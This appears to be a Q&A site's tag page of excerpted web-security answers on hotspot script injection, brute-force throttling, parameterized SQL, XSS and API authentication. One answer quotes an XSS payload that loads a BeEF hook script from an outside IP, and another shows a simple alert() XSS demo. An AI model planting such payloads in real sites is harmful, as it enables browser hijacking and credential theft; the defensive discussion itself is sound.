Tag Info

Hot answers tagged

29

The ISP (here, the WiFi hotspot) is what delivers pages to you. It's of course trivial for an ISP to read unsecured traffic: Let's now consider a case where the credential submission is secured with HTTPS (so the ISP cannot sniff them right off the wire), but the HTTPS log-in page loads an unsecured script, helper.js. The ISP can inject any behavior into ...


14

A relatively user-friendly way of mitigating brute-force attacks is delaying the minimum time between attempts. The first time your user enters wrong credentials, you let him wait 1 second before he can try again. The second time, you let him wait 2 seconds. The 3rd time, you make him wait 4 seconds. 4th time, 8 seconds, and so on. You also base this on the ...


7

A more common term for this is "parameterized SQL". You are still taking user data, as you pointed out, but the security lies in the fact that the application knows what is data, and what is executable. When you build a SQL statement as a string and pass it in it's completed entirety to the database, the application simply has to trust that the SQL ...


6

I'm afraid not. You might be able to solve your problem with something called "two factor authentication" though. This is an option you can enable in Gmail where you will need to have your mobile phone with you whenever you log onto your mail. It is very easy to set up and highly recommended. If this won't fix your issue, edit your question to add some ...


5

Perhaps one of the most interesting case studies of exactly this type of situation is www.blockchain.info, which employs client-side encryption and obviously has a lot at stake: the contents of millions of users' bitcoin wallets. Their initial approach was a browser extension that verified the website's source assets against a predefined list of hash sums: ...


5

To expand on Xander's answer - when you use a parameterized query the parameters are never inserted directly into the statement. Instead, the query itself along with all of the parameters are passed to a stored procedure called sp_executesql. When executed this way the parameters are treated as data rather than being parsed out as part of a SQL statement, ...


4

Regarding why it has cross-site in the name, Jeremiah Grossman has a good article on that. Snipit below: What was soon discovered was that a malicious website could load another website into an adjacent frame or window, then use JavaScript to read into it. One website could cross a boundry and script into another page. Pull data from forms, ...


4

A good compromise between user experience and security would be to have IP-based captchas that trigger after a few failed logins from a particular IP, regardless of username. This approach isn't vulnerable to DoS attacks against a single user by bruteforcing his account until the backoff time reaches several hours/days and prevents the legitimate owner of ...


2

I would not use ESAPI-PHP. It's a port of the Java ESAPI framework, (which has had its own issues, but soldiers on, more or less, mostly less) but the PHP port has been dead for a considerable amount of time now. I wouldn't trust it as far as I could throw it. I can't speak authoritatively to the PHP Security Project, but at a glance, the PHP Security ...


2

The whole point of having a "stateless" thing is to avoid maintaining state (here, on the server side). Stateless servers are unavoidably subject to replay attacks, by definition. The problem you are envisioning is basically a replay attack. If attackers can steal clients' cookies, then you already have bigger issues. If they cannot, then there is no ...


2

No, there really isn't. In order for this work, you need to have some form of session management in place to determine whether the token in a cookie is valid or not. They may mean maintaining a list of valid sessions as in traditional session management, or explicitly blacklisting tokens that have expired for some period of time. (Less overhead on the ...


2

Whether a VPN is necessary in this scenario would largely depend on the nature of the traffic between the worker and the web server and whether you're worried about Man-In-The-Middle(MITM) attacks. A VPN could add two potential benefits to your security here. Firstly it should encrypt the data between the endpoints. This is obviously a security benefit if ...


2

I assume the login form on tmail.com will be send with https. Otherwise you can read the plain password with a packet inspector. Your browser loads a webpage from tmail.com. The wifi owner can add a JavaScript into this page. This script will log whatever you type into the login form of the mail provider and store it somewhere. Will URL still remain the ...


2

From your question and comments it seems that the business leadership of your company have no interest in security. This is the fundamental thing you're going to have to fix before you do anything else. Implementing security controls is inevitably going to a) cost some money and b) cause some pain. Without support from your leadership, you won't get over ...


2

This question invites subjective answers, but I would say that the payload: <script src=http://1.1.1.1:3000/hook.js></script> In conjunction with the BeEF exploit framework would be close to the most damage you could do because it provides a way to launch a number of other attacks. Obviously you would replace the IP address I provided with ...


1

You have a lot of options and you should pick the best one based on your requirements. Authentication systems aimed at automated systems have different usability requirements than users. For example, users generally don't want to present their password with every request or handle long, complicated passwords. The code calling your API doesn't have those ...


1

I have used HTML Purifier before and have been pretty satisfied. http://htmlpurifier.org/ However, I have not performend extensive/advanced testing on it. The basic XSS attempts get caught, the website seems to show the maintainter has a knack for this thing so I assume it is not a bogus project. If anyone on here believes otherwise, please let me know.


1

An easy exploit is simply: <script>alert("Hacked!");</script> Similar alert boxes are often used as a demonstration of an XSS exploit because they are so easy to see and understand.


1

You are safe to skip server-side validation for that form providing you truncate excessively large inputs, use parameterized queries, and html encode the data if you ever output it. The accepted answer states that you "should always implement server side validations to prevent attacks". For this particular form, what validations must be implemented that ...


1

A good way to start is to prevent connections to the API application from anything except valid client addresses, in your case, your angularjs server. Additional security would be gained by implementing a revocable shared API key between each angularjs instance and your API, so you can revoke permissions from compromised instances. Also, it's good to ...


1

You can detect the use of known bad dependencies with OWASP Dependency-Check I found this also looking for tools which attempt to exploit the known issues repetitively. It's looking like I may have to modify existing active vulnerability scanners.


1

I believe that this is not possible in a failsafe way, unfortunately. Let me explain why. You want your frontend app to have a way to identify itself to the API. In other words, you want authentication. But authentication requires the existence of some kind of unique, secret data that the frontend app can use to distinguish itself from other applications. ...



Only top voted, non community-wiki answers of a minimum length are eligible